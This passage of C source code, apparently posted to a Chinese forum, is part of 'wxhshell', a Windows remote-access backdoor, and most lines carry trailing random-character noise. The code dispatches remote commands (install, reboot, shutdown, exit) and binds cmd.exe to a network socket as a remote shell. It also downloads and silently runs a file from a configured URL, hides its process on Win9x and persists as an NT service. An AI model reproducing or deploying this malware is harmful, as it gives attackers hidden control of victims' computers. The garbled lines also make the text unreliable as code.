  else { $}.#0c8I  
' eH Fa  
    switch(cmd[0]) { M4K>/-9X+V  
  NLZUAtx(  
  // 帮助 M 9/J!s  
  case '?': { p1fy)K2{,j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Ab$IK Y  
    break; g>H\"cUv  
  } X_#,5t=7  
  // 安装 "2GssBa  
  case 'i': { pF7S("#R  
    if(Install())  &W? hCr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J" U!j  
    else \"l/D?+Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6mC% zXR5  
    break; P |;=dX#-  
    } !N\i9w}  
  // 卸载 ^\FOMGai  
  case 'r': { B^BbA-I  
    if(Uninstall()) AUPTtc`#Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bu#\W  
    else Mf`@X[-;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -_fh=}.n+"  
    break; v}&J*}_XZ  
    } PZhpp"  
  // 显示 wxhshell 所在路径 bf$4Z: Y  
  case 'p': { fe7DS)U  
    char svExeFile[MAX_PATH]; zwdi$rM5  
    strcpy(svExeFile,"\n\r"); 9FmX^t$T  
      strcat(svExeFile,ExeFile); qrY]tb^K  
        send(wsh,svExeFile,strlen(svExeFile),0); X;3gKiD  
    break; >?ckBU9  
    } [-w+ACV~  
  // 重启 *+>QKR7  
  case 'b': { ePe/@g1K*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "U iv[8B  
    if(Boot(REBOOT)) \-RVPa8k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kcZz WG|n  
    else { z>O=. Ku6  
    closesocket(wsh); ;1>)p x**  
    ExitThread(0); *!L it:H  
    } crRYgr  
    break; v9l|MI15V  
    } +t<'{KZ7;  
  // 关机 Hb@PQcj  
  case 'd': { UYsyVY`Fm|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |H4f&& Wd  
    if(Boot(SHUTDOWN)) Uf<IXx&;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <jtu/U]78|  
    else { I 2*\J)|f  
    closesocket(wsh); |gM@}!DL  
    ExitThread(0); ]VHO'z\m  
    } .{66q#.  
    break; H]&^>Pvh  
    } ZR@PqS+O/  
  // 获取shell N.|uPq$R  
  case 's': { ZqJyuTPv  
    CmdShell(wsh); hV[=  
    closesocket(wsh); _sC kBDl-  
    ExitThread(0); "oo j;  
    break; 5)<}a&;{  
  } {%XDr,myd  
  // 退出 Z)RV6@(  
  case 'x': { Ib0@,yS[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ~ A4_  
    CloseIt(wsh); H@BU/{  
    break; +BkmI\  
    } afj[HJbY  
  // 离开 t^(wbC  
  case 'q': { ^.(i!BG'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V"Y-|R  
    closesocket(wsh); ^RE("'+  
    WSACleanup(); 'U'Y[*m@  
    exit(1); }?=4pGsI  
    break; T`SpIdzB.  
        } D7OPFN 7`  
  } !F~*Q2PZ9  
  } 7N I~47s|v  
B&4NdL/  
  // 提示信息 9xIz[`)i.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A<P rsk!  
} VXIB9 /*i  
  } I9E]zoj8  
SZm&2~|J  
  return; A#8Dv&$Pr  
} 0Nq6>^ %  
EHcgWlT u  
// shell模块句柄 LM?UV)  
int CmdShell(SOCKET sock) 8ZvozQE  
{ wU)vJsOq  
STARTUPINFO si; +N>&b%  
ZeroMemory(&si,sizeof(si)); /GMT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mh*^@_h?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GsvB5i  
PROCESS_INFORMATION ProcessInfo; o%$'-N  
char cmdline[]="cmd"; Bd-@@d.H<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LSW1,}/B  
  return 0; ?s5hck hh  
} _!?iiO  
ucgp=bye  
// 自身启动模式 j3)fmlA  
int StartFromService(void) UsBtk  
{ M3/_E7Qoj  
typedef struct pZO`18z  
{ QzX|c&&>u2  
  DWORD ExitStatus; Cz]NSG5  
  DWORD PebBaseAddress; )%=oJ!)  
  DWORD AffinityMask; Q R<q[@)F  
  DWORD BasePriority; 4l`"P~=2<  
  ULONG UniqueProcessId; .Pi8c[  
  ULONG InheritedFromUniqueProcessId; k\`~v$R3  
}   PROCESS_BASIC_INFORMATION; YQ#o3 sjs  
TEt+At`]  
PROCNTQSIP NtQueryInformationProcess; ~ (/OB w  
F)^:WWVc#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~Bs=[TNd[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lgaE2`0 [3  
y{]iwO;  
  HANDLE             hProcess; (2fWJ%7VG  
  PROCESS_BASIC_INFORMATION pbi; Rw#4 |&  
pv9Z-WCix$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {t1 ;icu  
  if(NULL == hInst ) return 0; t/L:Y=7w  
wJKP=$6n_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'o.A8su,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GI$7uR}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C AvyS  
BA t0YE`-,  
  if (!NtQueryInformationProcess) return 0; yPhTCr5pK  
U5x&? n<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cop \o4ia  
  if(!hProcess) return 0; u AmDXqJ 3  
2%*mL98WK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YqSkz|o}m  
-kI;yL  
  CloseHandle(hProcess); U";8zplU  
,ThN/GkSC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;u "BCW  
if(hProcess==NULL) return 0; I# U"DwM  
E ) iEWc  
HMODULE hMod; |SfmQ;  
char procName[255]; 9et%Hn.K'  
unsigned long cbNeeded; N5\]VCX  
@XR N#_{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iR(jCD?) Y  
,/ bv3pE  
  CloseHandle(hProcess); F2 #s^4Ii  
>;}q  
if(strstr(procName,"services")) return 1; // 以服务启动 U#=5HzE  
m0zbG1OE  
  return 0; // 注册表启动 `rLy7\@;  
} -AcVVK&  
cgevP`*]  
// 主模块 [c_o.`S_\  
int StartWxhshell(LPSTR lpCmdLine) d"Aer  
{ @+P7BE}  
  SOCKET wsl; W|e$@u9  
BOOL val=TRUE; 6o4Bf| E]  
  int port=0; 5h6c W  
  struct sockaddr_in door; y-i6StJ  
eW>Y*l% B  
  if(wscfg.ws_autoins) Install();  a8wQ ,  
m^M sp:T,  
port=atoi(lpCmdLine); >azTAX6L3  
8Z:T.Gc  
if(port<=0) port=wscfg.ws_port; 'ZboLoS*-  
w%L::Z4  
  WSADATA data; ./# F,^F2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "g=g' W#  
,q|;`?R;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CV )v6f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VA^yv1We  
  door.sin_family = AF_INET; [9U: :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0V_dg |.  
  door.sin_port = htons(port); 6mAaFDI,R  
+P5\N,,7R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >/5'0n_R  
closesocket(wsl); 6Yu&'[?H$  
return 1; -{ M(1vV(=  
} y.PsC '  
rE[:j2HF  
  if(listen(wsl,2) == INVALID_SOCKET) { i,z^#b7JQ  
closesocket(wsl); $63_* 9  
return 1; aUTXg60l*  
} ta'{S=^j  
  Wxhshell(wsl); 'W2B**}  
  WSACleanup(); ?7]UbtW[  
/ 8 0Q  
return 0; 2Sg^SZFH+o  
,/uVq G  
} aIXN wnq  
HJ]9e  
// 以NT服务方式启动 Q?uHdmY*X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C@#KZ`c)  
{ N!#0O.6  
DWORD   status = 0; aI'MVKwMk  
  DWORD   specificError = 0xfffffff; z +NwGVk3  
jf WZLb)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;[,r./XmH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f+xhS,iDR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T4lE-g2%M  
  serviceStatus.dwWin32ExitCode     = 0; Z;qgB7-M  
  serviceStatus.dwServiceSpecificExitCode = 0; Y;dQLZ CC  
  serviceStatus.dwCheckPoint       = 0; eF%>5  
  serviceStatus.dwWaitHint       = 0; cFF'ygJ/  
BV@xE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ={]tklND  
  if (hServiceStatusHandle==0) return; []I _r=  
{^jk_G\ys  
status = GetLastError(); lI*uF~ 'D  
  if (status!=NO_ERROR) "gCqb;^  
{ CL)*cu6zG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N" =$S|Gs  
    serviceStatus.dwCheckPoint       = 0; 9-( \\$%  
    serviceStatus.dwWaitHint       = 0; BdQ/kXZu+  
    serviceStatus.dwWin32ExitCode     = status; :)eU)r"s4  
    serviceStatus.dwServiceSpecificExitCode = specificError; B65"jy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k`u.:C&  
    return; ObyF~j}j  
  } ["65\GI?  
DbIn3/W Ne  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '] $mt  
  serviceStatus.dwCheckPoint       = 0; 5dXDL~/2p  
  serviceStatus.dwWaitHint       = 0; @}+F4Xh,L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ak'=/`+p  
} - D&d1`N4  
qQ T ^d  
// 处理NT服务事件,比如:启动、停止 E# UAC2Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8[\ ~}Q6  
{ ^|j @' @L  
switch(fdwControl) OB5t+_ s  
{ 4;D>s8dgG  
case SERVICE_CONTROL_STOP: fUV;3du  
  serviceStatus.dwWin32ExitCode = 0; :% m56  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }xG~ a=,  
  serviceStatus.dwCheckPoint   = 0; p1`") $  
  serviceStatus.dwWaitHint     = 0; p.@_3^#|  
  { > %B7/l$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =f\BAi  
  } E WNm }C9  
  return; :|PI_ $4H  
case SERVICE_CONTROL_PAUSE: ,GTIpPj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mDX UF~G[  
  break; *:tfz*FG$G  
case SERVICE_CONTROL_CONTINUE: *Al`QEW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q@aDa8Z  
  break; :|TQi9L$rj  
case SERVICE_CONTROL_INTERROGATE: ul!e!^qwx  
  break; FNy-&{P2  
}; S #6:!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iQ#dWxw4  
} FesUE_L2$  
<[Y@<  
// 标准应用程序主函数 4E 32DG*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <C{uodFll  
{ dR@XwEpP  
bb}$7v`G  
// 获取操作系统版本 <<~swN  
OsIsNt=GetOsVer(); &++tp5  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  <R.Ipyt.  
2}xvM"k=k  
  // 从命令行安装 Wa!}$q+  
  if(strpbrk(lpCmdLine,"iI")) Install(); \yKYBfp-p  
?j|i|WUD  
  // 下载执行文件 + )lkHv$R  
if(wscfg.ws_downexe) { jx[g;7~X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,/Usyb,`  
  WinExec(wscfg.ws_filenam,SW_HIDE); m!LJK`gA  
} Zv^n  
s_RUb  
if(!OsIsNt) { rOA{8)jIa*  
// 如果时win9x,隐藏进程并且设置为注册表启动  Ds@nuQ  
HideProc(); C]GW u~QF  
StartWxhshell(lpCmdLine); [\,Jy8t)\  
} </-aG[Fi  
else a"bael  
  if(StartFromService()) #.W^7}H  
  // 以服务方式启动 ?f&O4H  
  StartServiceCtrlDispatcher(DispatchTable); W~Ae&gcn#  
else %z "${ zw  
  // 普通方式启动 ['JIMcD  
  StartWxhshell(lpCmdLine); LnlDCbF;!  
i/{`rv*K[  
return 0; w6<zPrA  
}
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只看该作者 1 发表于: 2006-10-10
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